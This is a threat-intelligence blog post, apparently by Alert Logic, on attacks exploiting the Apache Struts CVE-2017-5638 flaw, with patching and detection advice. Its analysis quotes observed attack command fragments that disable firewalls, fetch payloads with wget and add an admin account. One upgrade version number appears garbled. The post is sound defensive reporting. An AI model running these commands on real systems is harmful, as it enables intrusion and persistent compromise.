Since its inception in 2001, Apache Struts has become a mainstay of web application frameworks, particularly with Apache Struts 2 released in 2007. Struts extends the Java Servlet API and brings the capability of Java Enterprise Edition (JEE) to developers in an approachable and powerful kit. Unfortunately, this ease and power also become available to adversaries when a vulnerability is discovered. Knowledge of how to exploit CVE-2017-5638 is fairly simple and has spread quickly, particularly after the vulnerability and Struts updates were released to the public on March 6, 2017. While there may be some evidence of prior exploitation, activity in the wild notably accelerated over the following few days and continues unabated.
What to expect
A large portion of the first detected exploits made use of the proof of concept (POC) code released along with the CVE. In this code, we see a simple test that runs a relatively benign system command if the exploit allows remote code execution (RCE). These early exploits did the same – using the exact same method and command – followed by less benign activities.
Artisanal handcrafted attacks always give way to at-scale automation, so the recognizable adaptations of the POC code will plateau even as the overall volume of attacks using this exploit accelerates, and their sophistication increases. It is common to see this kind of acceleration where the exploit is simple, the success rate is high, and the reward is relatively unfettered control of the exploited system.
This collective campaign is no exception; only days after the first noticeable rise in adversary activity we can see large volumes of scripted attacks with variations in the initial exploit probes and post exploit actions. Telemetry suggests some hand-added automation for exploit frameworks, which will enable lower sophistication adversaries to test and then ramp up attacks. By late in the week, the ratio of post-exploit payloads included more botnet implants and a rise in IRC botnet coordination traceable to exploited systems. None of this is particularly surprising; we’re seeing early stages of at-scale automation by more sophisticated adversaries who simply add this to their cache of tools for each stage of an attack.
Getting the word out to those with vulnerable applications is the most critical task. A patch is available, and the update path is fairly straightforward. Real trouble remains, however, for administrators and application owners who ignore or discount the risk because they don’t feel like they are a notable target. With a vulnerability of this criticality that is easy for an adversary to scan for across a wide swath of sites, one doesn’t have to be notable or particularly visible to get an unpleasant surprise.
Building on the vulnerability description provided in a prior article, the Apache Struts flaw stems from the internal handling of variables. Tracing this from the inside out, a locally saved error message or error key within Apache Struts can contain content that, if executed, runs with the privilege of the web process. Passing a variable into this error message will cause the variable to be resolved internally by a process with full privileges unless the web application framework has been carefully locked down or chrooted. Resolving the variable doesn’t force a code fragment to be inserted into memory -- this is far simpler; resolving the variable effectively forces a system call and if the variable’s value is a native system command, it simply runs.
A researcher going by ‘tengzhangchao’ discovered that the Jakarta multi-part form processor would place a variable into the error message if it received and processed a specifically crafted malformed Content-Type header, making it fairly easy to inject remote commands into the framework and have them executed after the data is passed. With this in hand, ascertaining the underlying OS and knowing whether appropriate to drop cmd.exe or /bin/bash commands is then fairly straightforward. An astute user of this capability can kill a firewall process, create an admin user, or cause just about any other trouble they wish.
What we see
When the POC code was posted publicly, it was reviewed and adapted by malicious actors as quickly as all others. Several exploits are available online for testing, most based on that POC, and the volume of attack activity rose quickly. While initial attack IP sources were clustered around a few CN addresses, it was not an indicator of intent or purpose as the researcher who found the flaw and posted the POC is in the same region and posted information in Chinese. The geographic spread of attacks has not been otherwise notable.
The Threat Intel group at Alert Logic observed early attacks with initial hand checking followed by a scripted post-compromise activity. Most current attacks leverage the POC code or early variants, which has as its initial tester running the command whoami or echoing environment variables. Subsequent actions are less benign – currently mostly firewall and log disabling, bot implants, and persistence mechanisms. By the time of this post, out of ~65,000 Struts exploit attempts, 85% contained wget, while the early id and whoami test commands had dwindled to less than 3%. After a week, the most commonly seen shifted from a “perbot” second stage to “
#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://….” In a small but increasing percentage, IOT payloads were an obvious mismatch to the platforms on which Struts runs, showing some efforts to scale outpacing operational sophistication.
In one case we detected an error response containing “The password does not meet the password policy requirements […]” which is a normal-seeming error message in a very wrong place. Tracing it back we found a scripted net user command included a “
#cmd=' net user admin admin123 /add”. As this was not an application error, but rather a system message rejecting a valid request because it did not meet the policy. Champions of group policy can rejoice in this rare instance of GPO protecting a Java framework against a critical flaw. However, one can assume at some point shortly after that error the exploit was successful, and subsequent actions, perhaps concealed until the exploit was identified and mitigated.
Not all of these errors are unintentional; we now see a variety of initial probes intended to evoke distinctive responses for system fingerprinting. For example, one set of scripted attacks, after receiving the Windows message ”The system cannot find the path specified” for an unsupported command, the attack subsequently only sent Windows-specific commands in its Struts attacks. This sort of increasing operational sophistication and automation is consistent with prior attack patterns, and we expect it will continue for some time.
Protecting against this vulnerability is clear but not always simple. Developers should upgrade from the vulnerable version to Apache Struts version 2.3.32 or 126.96.36.199 or use a different implementation of the multipart parser. Compiled code must be recompiled with the new framework, tested, and redeployed into production environments. In cases with complex code interdependencies where the updated framework may break required components, or where stringent compliance requirements require a specific version, this may not be easy or quick; some workarounds are available as cited in this article. Broader recommendations to protect against this type of exposure include keeping services updated, using minimal privilege for production services and the processes they run as, and isolation of web services through mechanisms such as local chroot or carefully configured full virtualization.
Monitoring for initial probes or active attacks is possible on a number of fronts; scanning, WAF, IDS, and log-based detections are detailed in the Alert Logic KB article. More sophisticated administrators may want to use the POC code without a malicious payload or some of the publicly available tools to manually check their systems with a light touch. Note that scanning for the vulnerability may trigger false positives depending on whether scanning and IDS services are configured together.
Post-compromise response, unfortunately, must be heavy-handed when a vulnerability like this provides attackers with quick and full access to the system. Mitigation of an exploited system should include cutting off access and ending both expected processes for the application framework, and any unexpected user processes. Investigation for appropriate next steps should include looking at transactions, outbound connections, and resident data, keeping in mind that an exploited system will have given the adversary free reign. Recovery in most cases means flattening the system and redeploying; generally, an easier prospect in cloud deployments with a good backup routine.
The Alert Logic Threat Intelligence team continues to monitor the situation, comparing this emerging threat with knowledge and analysis of technical, behavioral, and other observable patterns. Updates will be posted here, and for more information contact firstname.lastname@example.org.